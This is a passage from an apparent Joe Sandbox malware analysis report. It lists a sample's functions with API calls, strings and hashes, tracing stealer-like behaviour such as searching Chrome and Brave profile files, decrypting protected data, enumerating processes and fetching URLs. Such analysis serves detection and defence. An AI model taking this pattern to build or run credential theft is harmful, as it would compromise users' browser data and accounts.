FindNextFileA.KERNELBASE(000000FF,?), ref: 00411980
FindClose.KERNEL32(000000FF), ref: 00411995

Strings

%s\%s, xrefs: 004117FD
%s\%s, xrefs: 00411714
%s%s, xrefs: 00411838
%s\*, xrefs: 0041165D
%s\%s\%s, xrefs: 004117DB

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 22d389ec88997b218fc4621b289525b59c979eb658dda6df1c68735652641455
Instruction ID: 56f1237c2d7c520c90c98f1ce5fb3a6d9b51b415e2d0c2f733ce4a2014328567
Opcode Fuzzy Hash: 22d389ec88997b218fc4621b289525b59c979eb658dda6df1c68735652641455
Instruction Fuzzy Hash: AE9172B19006189BDB24EFA4DC85FEA737DBF88300F044589F61A92191DB789AC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,0041D71A,0041D717,00000000,?,?,?,0041DB54,0041D716), ref: 0040B695
StrCmpCA.SHLWAPI(?,0041DB58), ref: 0040B6ED
StrCmpCA.SHLWAPI(?,0041DB5C), ref: 0040B703
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040BF3B
FindClose.KERNEL32(000000FF), ref: 0040BF4D

Strings

Google Chrome, xrefs: 0040BDB9
\Brave\Preferences, xrefs: 0040B97B
Preferences, xrefs: 0040B8BE
Brave, xrefs: 0040B8A2

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ca1c138e0b667a11b0fb3d09d5de95bdec0bd9f7ed5e745c87b95eeb7a3f3c20
Instruction ID: 76d401781d3fce7c968e745dc043d6a6225f477281f2400f678919b217ba5a4c
Opcode Fuzzy Hash: ca1c138e0b667a11b0fb3d09d5de95bdec0bd9f7ed5e745c87b95eeb7a3f3c20
Instruction Fuzzy Hash: 0F423572A0010457CF14FB61DC56EEE773DAF84304F41455EF90AA6181EE38AB89CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CD6F688,00001000), ref: 6CCE35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CCE35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CCE35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CCE363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CCE369F
__aulldiv.LIBCMT ref: 6CCE36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CCE3773
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CCE377E
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CCE37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CCE37C4
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CCE37CB
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CCE3801
__aulldiv.LIBCMT ref: 6CCE3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CCE3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CCE3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CCE394C

Strings

GTC, xrefs: 6CCE3912
MOZ_TIMESTAMP_MODE, xrefs: 6CCE35DB
GenuntelineI, xrefs: 6CCE3639
AuthcAMDenti, xrefs: 6CCE3946
QPC, xrefs: 6CCE38FC

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 07d67e5689d0ca9f2aeadaf6f7ae428f3f6a6a2075e3294643ef9d0948ea3fce
Instruction ID: 25b2175a1f29110f502c55a01ad88fcacdf5c597d648c951932c74d68ca55836
Opcode Fuzzy Hash: 07d67e5689d0ca9f2aeadaf6f7ae428f3f6a6a2075e3294643ef9d0948ea3fce
Instruction Fuzzy Hash: 4DB1A871B097009BEB08DF6AC84472677FABB8E700F05492EE595D7760E770E804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00412570 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00412589
FindFirstFileA.KERNELBASE(?,?), ref: 004125A0
StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

%s\%s, xrefs: 004125FE
%s\%s, xrefs: 0041264F
%s\*, xrefs: 0041257D

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: c371e99602ecb2bf7d22e8218fd26839070f24b898d1545756d7f2e9b471c947
Instruction ID: 16fd5a9597efbfb91ed0225017393bb16e0f77851f83799e5682f8bc7922baf0
Opcode Fuzzy Hash: c371e99602ecb2bf7d22e8218fd26839070f24b898d1545756d7f2e9b471c947
Instruction Fuzzy Hash: 676156B2900618ABCB24EBE0DD99EEA737DBF58701F00458DB61A96140EF74DB85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00411B80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00411B9D
FindFirstFileA.KERNELBASE(?,?), ref: 00411BB4
StrCmpCA.SHLWAPI(?,0041D834), ref: 00411BE2
StrCmpCA.SHLWAPI(?,0041D838), ref: 00411BF8
FindNextFileA.KERNEL32(000000FF,?), ref: 00411D3D
FindClose.KERNEL32(000000FF), ref: 00411D52

Strings

%s\%s, xrefs: 00411B91

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e3d1c5bd382fee0186544b0597b80f862c52c2d353a487531ceab94a3262465d
Instruction ID: 1beca0db89a34a7d9f561fb59a57ff38f1a0216f2a844ef05cbde65d1a44dc5a
Opcode Fuzzy Hash: e3d1c5bd382fee0186544b0597b80f862c52c2d353a487531ceab94a3262465d
Instruction Fuzzy Hash: D75168B5900618ABCB24EBB0DC85EEA737DBB48304F40458DB65A96050EB79ABC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404C8A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C91
InternetOpenA.WININET(0041D79B,00000000,00000000,00000000,00000000), ref: 00404CAA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00404CD1
InternetReadFile.WININET(c.A,?,00000400,00000000), ref: 00404D01
InternetCloseHandle.WININET(c.A), ref: 00404D75
InternetCloseHandle.WININET(?), ref: 00404D82

Strings

c.A, xrefs: 00404CC1, 00404DA0
c.A, xrefs: 00404D71, 00404CFD, 00404D00, 00404D74

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID: c.A$c.A
API String ID: 3066467675-270182787
Opcode ID: ff34e455916cb5254e18773c9340263e729f543755462a643926861e0345f7f7
Instruction ID: 93472a029acc8278824907ab7d145ea178407da7df790c597300061c638fc298
Opcode Fuzzy Hash: ff34e455916cb5254e18773c9340263e729f543755462a643926861e0345f7f7
Instruction Fuzzy Hash: 3731F8F4A00218ABDB20DF54DD85BDDB7B5BB88304F5081D9F709A7280DB746AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215C4,?,00401E03,?,004215C8,?,?,00000000,?,00000000), ref: 00401813
StrCmpCA.SHLWAPI(?,004215CC), ref: 00401863
StrCmpCA.SHLWAPI(?,004215D0), ref: 00401879
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401C30
DeleteFileA.KERNEL32(00000000), ref: 00401CB4
FindNextFileA.KERNEL32(000000FF,?), ref: 00401D0A
FindClose.KERNEL32(000000FF), ref: 00401D1C

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Strings

\*.*, xrefs: 004016E1

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 3f73f7678043cf5851263046e58281cd227b68e682b4b4f3b05ae9baf8787b62
Instruction ID: 3aa4ae790513c502dab12fd0122e5550b13815c0fff8c800b600eb4522263f51
Opcode Fuzzy Hash: 3f73f7678043cf5851263046e58281cd227b68e682b4b4f3b05ae9baf8787b62
Instruction Fuzzy Hash: D41225759102189BCB15FB61DC56EEE7739AF54308F41419EB10A62091EF38AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0041DC10,0041D73F), ref: 0040D22B
StrCmpCA.SHLWAPI(?,0041DC14), ref: 0040D273
StrCmpCA.SHLWAPI(?,0041DC18), ref: 0040D289
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040D4EE
FindClose.KERNEL32(000000FF), ref: 0040D500

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: de9534d38254fefd06480637589c9ca20507d8755ec8c9e1e7e424c8080e94d4
Instruction ID: a7e743a2a4f5118c59e4eb5b7e6cabc454f6fbff0e67e47d23a58287cf68124a
Opcode Fuzzy Hash: de9534d38254fefd06480637589c9ca20507d8755ec8c9e1e7e424c8080e94d4
Instruction Fuzzy Hash: 63913B72A0020497CB14FFB1EC569EE777DAB84308F41466EF90A96581EE38D788CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00414570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
LocalFree.KERNEL32(00000000), ref: 004146DF

Strings

/ , xrefs: 0041463C

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 294f136ef59468542dff649e32f3b16774d834884e78db4a947e8595ab33b79e
Instruction ID: e4a09482d03fe0ac07b2aa12fe49ef9b635f824a972481fa3f662a7a2871ed61
Opcode Fuzzy Hash: 294f136ef59468542dff649e32f3b16774d834884e78db4a947e8595ab33b79e
Instruction Fuzzy Hash: D5413B74940218ABCB24DF50DC89BEDB775BB54308F2042DAE10A66191DB786FC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB60 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,0041D74E), ref: 0040DBD2
StrCmpCA.SHLWAPI(?,0041DC58), ref: 0040DC22
StrCmpCA.SHLWAPI(?,0041DC5C), ref: 0040DC38
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E306

Strings

\*.*, xrefs: 0040DB7D

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 16dc50ad816f9134f2fd9863c9ead6db9e3829e4bf4b4639c1bf518b52010c0e
Instruction ID: 8f23b39e961a58df861ec407c7814dc8b58ae9c3eb94c511c30fb23e96a564a4
Opcode Fuzzy Hash: 16dc50ad816f9134f2fd9863c9ead6db9e3829e4bf4b4639c1bf518b52010c0e
Instruction Fuzzy Hash: 88126771A002145ACB14FB61DC56EED7739AF54308F4142AEB50A66091EF389FC8CFE8

Uniqueness

Uniqueness Score: -1.00%

Function 004155A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Strings

>N@, xrefs: 004155B8, 00415614, 004155BB, 00415617

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID: >N@
API String ID: 80407269-3381801619
Opcode ID: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction ID: 37622f5e64546725dbf22d4b9568f407ee9b467eb6af981ec2fff7c5b56759cd
Opcode Fuzzy Hash: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction Fuzzy Hash: 73110D74200A04FFDB10CFA4E844FEB37AABF89310F509549F9098B254D775E881DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415D00 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00415D1E
Process32First.KERNEL32(0041D599,00000128), ref: 00415D32
Process32Next.KERNEL32(0041D599,00000128), ref: 00415D47
StrCmpCA.SHLWAPI(?,00000000), ref: 00415D5C
CloseHandle.KERNEL32(0041D599), ref: 00415D7A

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction ID: 4a4bbd9776da2ad99231b6c5471aa9e11f786ff18f9e7f574f496e4dc08d41d8
Opcode Fuzzy Hash: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction Fuzzy Hash: 53012575A00608EBDB24DF94DD58BDEB7B9BF88304F108189E90597250DB749B81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,02F8AA98,00000000,?,0041D758,00000000,?,00000000,00000000,?,02F8B198,00000000), ref: 004144C0
HeapAlloc.KERNEL32(00000000), ref: 004144C7
GetTimeZoneInformation.KERNEL32(?), ref: 004144DA
wsprintfA.USER32 ref: 00414514

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction ID: 63b956e3650aea0bdd01ac085b80a838c67200ff8d98e36f2a49cf33a9f6a1bd
Opcode Fuzzy Hash: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction Fuzzy Hash: C7F06770E047289BDB309B64DD49FA9737ABB44311F0002D5EA0AE3291DB749E858F97

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
LocalFree.KERNEL32(?), ref: 004095AF

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction ID: 845aa5354f8c35be15d3c308e338542aeef751caf2e905b87ee6994bb5fcaacd
Opcode Fuzzy Hash: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction Fuzzy Hash: 2B11B7B8A00609EFCB04DF94C984AAEB7B5FF88301F104559E915A7390D774AE51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004143C0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

